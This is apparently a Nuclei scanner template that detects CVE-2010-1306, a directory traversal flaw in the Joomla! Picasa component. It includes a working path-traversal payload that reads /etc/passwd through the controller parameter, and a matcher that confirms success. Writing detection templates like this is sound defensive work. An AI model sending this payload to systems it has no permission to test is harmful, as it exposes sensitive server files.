id: CVE-2010-1306

info:
  name: Joomla! Component Picasa 2.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12058
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1306
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57508
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1306
    cwe-id: CWE-22
    epss-score: 0.15722
    epss-percentile: 0.96529
    cpe: cpe:2.3:a:roberto_aloi:com_joomlapicasa2:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: roberto_aloi
    product: com_joomlapicasa2
  tags: cve,cve2010,joomla,lfi,edb,roberto_aloi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100af34431c2d37bdb97c75e2f3af423f4b9daa2a142ada2fa4d4ea3d4320e7d32202207b74809ae1b7f13c14a77d1d9becc4b00dd1a624c6d3ac30c1dba9de52fd6bad:922c64590222798bb761d5b6d8e72950